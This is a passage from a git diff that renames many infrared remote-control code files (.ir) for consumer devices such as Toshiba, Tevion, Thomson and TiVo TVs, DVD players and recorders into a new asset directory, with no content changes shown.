a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tesla/Unknown_Tesla/11,11.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tesla/Unknown_Tesla/11,11.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Tesla/Unknown_Tesla/11,11.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tesla/Unknown_Tesla/11,11.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tesla/Unknown_Tesla/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tesla/Unknown_Tesla/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Tesla/Unknown_Tesla/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tesla/Unknown_Tesla/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_3830/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_3830/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_3830/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_3830/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_41666/131,69.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_41666/131,69.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_41666/131,69.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_41666/131,69.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_DFA/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_DFA/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_DFA/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_DFA/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_DVD/67,71.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_DVD/67,71.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_DVD/67,71.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_DVD/67,71.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD-5410/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD-5410/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD-5410/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD-5410/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD/23,105.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD/23,105.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD/23,105.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD/23,105.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD/48,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD/48,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD/48,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_MDC-982PLL/162,162.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_MDC-982PLL/162,162.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_MDC-982PLL/162,162.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_MDC-982PLL/162,162.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_RS20536/67,71.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_RS20536/67,71.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_RS20536/67,71.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_RS20536/67,71.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_SAT928/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_SAT928/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_SAT928/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_SAT928/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_TDR-250HD/0,159.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TDR-250HD/0,159.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_TDR-250HD/0,159.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TDR-250HD/0,159.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_TDR51DV/0,159.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TDR51DV/0,159.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_TDR51DV/0,159.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TDR51DV/0,159.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_TE-0603/64,63.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TE-0603/64,63.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_TE-0603/64,63.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TE-0603/64,63.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_TEV1020/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TEV1020/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_TEV1020/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TEV1020/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_Tevion-MD80383/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_Tevion-MD80383/5,5.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_Tevion-MD80383/5,5.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_Tevion-MD80383/5,5.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_Tevion-MD81035-ASAT-Code-0905/23,105.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_Tevion-MD81035-ASAT-Code-0905/23,105.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_Tevion-MD81035-ASAT-Code-0905/23,105.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_Tevion-MD81035-ASAT-Code-0905/23,105.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_TevionMd3607/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TevionMd3607/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_TevionMd3607/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TevionMd3607/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Theta Digital/DVD Player/163,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Theta Digital/DVD Player/163,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Theta Digital/DVD Player/163,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Theta Digital/DVD Player/163,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Theta Digital/DVD Player/175,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Theta Digital/DVD Player/175,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Theta Digital/DVD Player/175,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Theta Digital/DVD Player/175,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Theta Digital/Surround Processor/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Theta Digital/Surround Processor/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Theta Digital/Surround Processor/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Theta Digital/Surround Processor/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Thinkgeek/Unknown_Lightbulb/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thinkgeek/Unknown_Lightbulb/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Thinkgeek/Unknown_Lightbulb/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thinkgeek/Unknown_Lightbulb/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Thompson/Unknown_THOMPSON/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thompson/Unknown_THOMPSON/133,48.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Thompson/Unknown_THOMPSON/133,48.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thompson/Unknown_THOMPSON/133,48.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Thomson/Unknown_230/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thomson/Unknown_230/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Thomson/Unknown_230/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thomson/Unknown_230/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Thomson/Unknown_RCS615TCLM1/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thomson/Unknown_RCS615TCLM1/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Thomson/Unknown_RCS615TCLM1/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thomson/Unknown_RCS615TCLM1/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Thomson/Unknown_TM9258/128,255.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thomson/Unknown_TM9258/128,255.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Thomson/Unknown_TM9258/128,255.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thomson/Unknown_TM9258/128,255.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Thomson/Unknown_TV/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thomson/Unknown_TV/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Thomson/Unknown_TV/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thomson/Unknown_TV/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TiVo/PVR/26,154.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TiVo/PVR/26,154.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TiVo/PVR/26,154.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TiVo/PVR/26,154.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TiVo/TiVo/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TiVo/TiVo/133,48.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TiVo/TiVo/133,48.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TiVo/TiVo/133,48.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TiVo/Unknown_Series1/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TiVo/Unknown_Series1/133,48.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TiVo/Unknown_Series1/133,48.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TiVo/Unknown_Series1/133,48.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tivoli/Unknown_Sirius/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tivoli/Unknown_Sirius/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Tivoli/Unknown_Sirius/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tivoli/Unknown_Sirius/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tokai/Unknown_DVD-715/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tokai/Unknown_DVD-715/32,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Tokai/Unknown_DVD-715/32,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tokai/Unknown_DVD-715/32,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Topfield/Unknown_PVR/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Topfield/Unknown_PVR/32,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Topfield/Unknown_PVR/32,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Topfield/Unknown_PVR/32,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Topfield/Unknown_TF4000Fi/4,255.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Topfield/Unknown_TF4000Fi/4,255.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Topfield/Unknown_TF4000Fi/4,255.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Topfield/Unknown_TF4000Fi/4,255.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Topfield/Unknown_TF4000PVR/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Topfield/Unknown_TF4000PVR/32,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Topfield/Unknown_TF4000PVR/32,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Topfield/Unknown_TF4000PVR/32,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Topseed/Unknown_Topseed/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Topseed/Unknown_Topseed/4,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Topseed/Unknown_Topseed/4,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Topseed/Unknown_Topseed/4,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/DVD Player/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/DVD Player/69,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/DVD Player/69,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/DVD Player/69,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/TV/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/TV/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/TV/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/TV/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-816/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-816/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-816/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-816/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-826/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-826/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-826/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-826/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-832/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-832/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-832/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-832/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-859/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-859/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-859/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-859/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90038/231,10.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90038/231,10.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90038/231,10.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90038/231,10.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90205/231,10.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90205/231,10.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90205/231,10.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90205/231,10.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90298/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90298/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90298/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90298/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90326/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90326/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90326/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90326/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9573/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9573/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9573/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9573/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9784/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9784/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9784/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9784/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9881/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9881/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9881/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9881/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9952/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9952/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9952/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9952/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_G83C0008A110/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_G83C0008A110/4,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_G83C0008A110/4,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_G83C0008A110/4,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_RM-614Q/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_RM-614Q/5,5.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_RM-614Q/5,5.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_RM-614Q/5,5.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0031/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0031/69,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0031/69,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0031/69,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0049/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0049/69,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0049/69,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0049/69,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0058/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0058/69,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0058/69,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0058/69,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0127/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0127/69,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0127/69,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0127/69,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/68,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/68,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/68,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/68,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHTV/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHTV/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHTV/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHTV/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TSR-101R/66,187.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TSR-101R/66,187.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TSR-101R/66,187.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TSR-101R/66,187.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0047/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0047/69,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0047/69,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0047/69,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0090/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0090/69,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0090/69,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0090/69,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VC-642T/68,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VC-642T/68,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VC-642T/68,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VC-642T/68,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VC-90B/68,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VC-90B/68,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VC-90B/68,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VC-90B/68,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-11/68,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-11/68,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-11/68,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-11/68,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-204G/68,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-204G/68,-1.ir similarity index 100% rename from 